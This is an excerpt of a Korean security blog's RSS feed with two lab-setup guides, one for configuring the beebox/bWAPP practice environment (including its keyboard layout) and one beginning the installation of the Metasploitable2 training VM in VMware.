실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비박스 접속 후, 상단의 터미널 아이콘을 클릭해서 터미널을 연다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;ifconfig 명령어를 입력하여 IP주소 및 네트워크 구성 정보를 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;네트워크 환경 설정을 NAT로 설정하였으므로, 사설 IP대역인 192.168.0.0/16 대역으로 설정된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cymBzU/btsJg8lYGXw/GIvu5EdpR2tnho3XlnHGPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cymBzU/btsJg8lYGXw/GIvu5EdpR2tnho3XlnHGPk/img.png&quot; data-alt=&quot;그림7 - 터미널 열고 IP 주소 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cymBzU/btsJg8lYGXw/GIvu5EdpR2tnho3XlnHGPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcymBzU%2FbtsJg8lYGXw%2FGIvu5EdpR2tnho3XlnHGPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1147&quot; height=&quot;672&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - 터미널 열고 IP 주소 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;호스트 PC의 브라우저에서 192.168.197.140에 접속하면 비박스 웹 콘솔로 접속이 가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353638;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;bWAPP가 주로 웹 해킹 실습에 사용되는 테스트 환경이다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;513&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w0PYi/btsJgKZ5co6/AVy4EfpvnKg9VOYb3eqwx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w0PYi/btsJgKZ5co6/AVy4EfpvnKg9VOYb3eqwx0/img.png&quot; data-alt=&quot;그림8 - 비박스 웹 콘솔&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w0PYi/btsJgKZ5co6/AVy4EfpvnKg9VOYb3eqwx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw0PYi%2FbtsJgKZ5co6%2FAVy4EfpvnKg9VOYb3eqwx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;680&quot; height=&quot;513&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;513&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - 비박스 웹 콘솔&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bWAPP를 클릭하면 테스트 환경에 접속하게 되는데, ID에 bee를 PW에 bug를 입력하여 로그인 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;security level은 low, medium, high 단계로 구성되어 있으며, 각 단계별로 난이도 차이가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;medium: 우회기법을 사용해야 통과되는 수준&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;high: 시큐어 코딩이 잘 되어 있는 수준&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;740&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FRuG1/btsJfOI2O5F/kFH2quK01vLai6kSzcA3ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FRuG1/btsJfOI2O5F/kFH2quK01vLai6kSzcA3ck/img.png&quot; data-alt=&quot;그림9 - bWAPP 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FRuG1/btsJfOI2O5F/kFH2quK01vLai6kSzcA3ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFRuG1%2FbtsJfOI2O5F%2FkFH2quK01vLai6kSzcA3ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1126&quot; height=&quot;740&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;740&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - bWAPP 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 후 우측에 Choose your bug를 클릭하여 OWASP Top 10에 있는 공격들을 선택할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1044&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2fyY1/btsJgC8XrX5/LwtKkK1RPG2Z3iKLTBJth0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2fyY1/btsJgC8XrX5/LwtKkK1RPG2Z3iKLTBJth0/img.png&quot; data-alt=&quot;그림10 - bWAPP OWASP Top 10 공격 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2fyY1/btsJgC8XrX5/LwtKkK1RPG2Z3iKLTBJth0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2fyY1%2FbtsJgC8XrX5%2FLwtKkK1RPG2Z3iKLTBJth0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1044&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1044&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - bWAPP OWASP Top 10 공격 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;비박스 키보드 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비박스 사용하다보면 터미널에서 글자 입력 시 원하는 글자가 입력이 안되는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 경우 키보드 설정을 통해 원하는 글자를 입력할 수 있도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널에서 zxcvbnm을 입력하면 아래 그림11과 같이 다르게 입력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1148&quot; data-origin-height=&quot;671&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbdFVd/btsJgQy79ub/g9zorY8wUO6gGFhKJrJ0rK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbdFVd/btsJgQy79ub/g9zorY8wUO6gGFhKJrJ0rK/img.png&quot; data-alt=&quot;그림11 - 비박스 키보드 입력 오류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbdFVd/btsJgQy79ub/g9zorY8wUO6gGFhKJrJ0rK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbdFVd%2FbtsJgQy79ub%2Fg9zorY8wUO6gGFhKJrJ0rK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1148&quot; height=&quot;671&quot; data-origin-width=&quot;1148&quot; data-origin-height=&quot;671&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - 비박스 키보드 입력 오류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌측 상단의 System &amp;rarr; Preferences &amp;rarr; Keyboard 로 들어간다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;675&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0B9y4/btsJg6aMTZy/gl1VNmquVFoFKSVW8okkw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0B9y4/btsJg6aMTZy/gl1VNmquVFoFKSVW8okkw1/img.png&quot; data-alt=&quot;그림12 - System &amp;amp;rarr; Preferences&amp;amp;nbsp; &amp;amp;rarr; Keyboard&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0B9y4/btsJg6aMTZy/gl1VNmquVFoFKSVW8okkw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0B9y4%2FbtsJg6aMTZy%2Fgl1VNmquVFoFKSVW8okkw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1147&quot; height=&quot;675&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;675&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - System &amp;rarr; Preferences&amp;nbsp; &amp;rarr; Keyboard&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Layouts&amp;nbsp; &amp;rarr; Add 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;754&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UZfhG/btsJgQlzLDz/kdcVjEtYQvAfVSsPTdxguK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UZfhG/btsJgQlzLDz/kdcVjEtYQvAfVSsPTdxguK/img.png&quot; data-alt=&quot;그림13 - Layouts&amp;amp;nbsp; &amp;amp;rarr; Add&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UZfhG/btsJgQlzLDz/kdcVjEtYQvAfVSsPTdxguK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUZfhG%2FbtsJgQlzLDz%2FkdcVjEtYQvAfVSsPTdxguK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1161&quot; height=&quot;754&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;754&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - Layouts&amp;nbsp; &amp;rarr; Add&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Korea &amp;rarr; Add 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;674&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO13cX/btsJhk0On2b/6Q4QaQv0JAL23UHlbbZj20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO13cX/btsJhk0On2b/6Q4QaQv0JAL23UHlbbZj20/img.png&quot; data-alt=&quot;그림14 - Korea &amp;amp;rarr; Add&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO13cX/btsJhk0On2b/6Q4QaQv0JAL23UHlbbZj20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO13cX%2FbtsJhk0On2b%2F6Q4QaQv0JAL23UHlbbZj20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;954&quot; height=&quot;674&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;674&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - Korea &amp;rarr; Add&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Default 클릭 후 Close 클릭하여 설정을 완료한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;675&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cx7Geh/btsJgE6NMJj/SfZAY6nBN53qBw53GfIqf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cx7Geh/btsJgE6NMJj/SfZAY6nBN53qBw53GfIqf1/img.png&quot; data-alt=&quot;그림15 - Default &amp;amp;rarr; Close&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cx7Geh/btsJgE6NMJj/SfZAY6nBN53qBw53GfIqf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcx7Geh%2FbtsJgE6NMJj%2FSfZAY6nBN53qBw53GfIqf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;675&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;675&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - Default &amp;rarr; Close&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 터미널은 종료 후, 새로운 터미널을 열고 zxcvbnm 입력 시 정상적으로 입력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;678&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sv1Ih/btsJfqaHaRS/9I7XGbqu2yC2VxumE86O6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sv1Ih/btsJfqaHaRS/9I7XGbqu2yC2VxumE86O6K/img.png&quot; data-alt=&quot;그림16 - 키보드 정상 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sv1Ih/btsJfqaHaRS/9I7XGbqu2yC2VxumE86O6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSv1Ih%2FbtsJfqaHaRS%2F9I7XGbqu2yC2VxumE86O6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;678&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;678&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림16 - 키보드 정상 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비박스 VM을 껏다 키게되면, 키보드 입력이 다시 이상하게 입력되는 경우가 있는데 이런 경우, 다시 키보드 설정에 들어가서 Belgium을 Remove 후 Close 하면 정상적으로 입력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CzEvI/btsJgfsN0In/OWpi22t4RHKVzSHgqseWT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CzEvI/btsJgfsN0In/OWpi22t4RHKVzSHgqseWT0/img.png&quot; data-alt=&quot;그림 17 - Belgium 언어 Remove&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CzEvI/btsJgfsN0In/OWpi22t4RHKVzSHgqseWT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCzEvI%2FbtsJgfsN0In%2FOWpi22t4RHKVzSHgqseWT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1264&quot; height=&quot;800&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림 17 - Belgium 언어 Remove&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>보안/환경 구축</category>
      <category>beebox</category>
      <category>모의해킹</category>
      <category>비박스</category>
      <category>비박스 설치</category>
      <category>비박스 키보드 설정</category>
      <category>환경 구축</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/189</guid>
      <comments>https://it-log.tistory.com/189#entry189comment</comments>
      <pubDate>Wed, 28 Aug 2024 01:00:26 +0900</pubDate>
    </item>
    <item>
      <title>Metasploitable2 설치하기</title>
      <link>https://it-log.tistory.com/188</link>
      <description>&lt;h2 id=&quot;%ED%99%98%EA%B2%BD%20%EC%84%A4%EB%AA%85-1&quot; style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;환경 설명&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;공격자: 칼리리눅스 (2022년 3월 버전)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;희생자: Metasploitable2(msfv2), beebox, win7&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Metasploitable2 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Metasploitable2은 침투 당하는 서버로, 모의해킹을 위해 Metasploit에서 의도적으로 취약하게 만든 VM(가상머신)이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://sourceforge.net/projects/metasploitable/files/Metasploitable2/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://sourceforge.net/projects/metasploitable/files/Metasploitable2/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1724661040497&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Metasploitable -  Browse /Metasploitable2 at SourceForge.net&quot; data-og-description=&quot;Featuring an intuitive web-based interface, Device42 actionable insight into enterprise infrastructures, with clearly identified hardware, software, service, and network interdependencies, powerful visualizations, and easy-to-use UI, webhooks, APIs, and so&quot; data-og-host=&quot;sourceforge.net&quot; data-og-source-url=&quot;https://sourceforge.net/projects/metasploitable/files/Metasploitable2/&quot; data-og-url=&quot;https://sourceforge.net/projects/metasploitable/files/Metasploitable2/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://sourceforge.net/projects/metasploitable/files/Metasploitable2/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://sourceforge.net/projects/metasploitable/files/Metasploitable2/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Metasploitable - Browse /Metasploitable2 at SourceForge.net&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Featuring an intuitive web-based interface, Device42 actionable insight into enterprise infrastructures, with clearly identified hardware, software, service, and network interdependencies, powerful visualizations, and easy-to-use UI, webhooks, APIs, and so&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;sourceforge.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 URL 에서 msfv2를 다운로드 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;D 드라이브에 파일을 다운로드 후 압축 해제를 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;반디집을 사용하여 압축 해제 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Metasploitable2 설치 경로: D:\metasploitable-linux-2.0.0_2\Metasploitable2-Linux&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xjDEb/btsJgGDvkz7/S31qE3K7XZOIEO73G6xBEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xjDEb/btsJgGDvkz7/S31qE3K7XZOIEO73G6xBEk/img.png&quot; data-alt=&quot;그림1 - VMware Workstation Pro 파일 열기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xjDEb/btsJgGDvkz7/S31qE3K7XZOIEO73G6xBEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxjDEb%2FbtsJgGDvkz7%2FS31qE3K7XZOIEO73G6xBEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;764&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - VMware Workstation Pro 파일 열기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;그림1의 File - Open 을 클릭하여 D드라이브에서 Metasploitable2 압축해제 파일의 VMX 파일을 불러온다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;831&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dQcve2/btsJeVCd3rA/RPSNHO536OTkKMP6oAXzn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dQcve2/btsJeVCd3rA/RPSNHO536OTkKMP6oAXzn1/img.png&quot; data-alt=&quot;그림2 - Metasploitable2 vmx 파일 불러오기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dQcve2/btsJeVCd3rA/RPSNHO536OTkKMP6oAXzn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdQcve2%2FbtsJeVCd3rA%2FRPSNHO536OTkKMP6oAXzn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1270&quot; height=&quot;831&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;831&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - Metasploitable2 vmx 파일 불러오기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Metasploitable2를 불러온 후 Edit virtual machine settings 를 클릭하여 환경설정을 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;네트워크, 가상환경 사용을 위한 용량 설정 등을 한다.&lt;/p&gt;
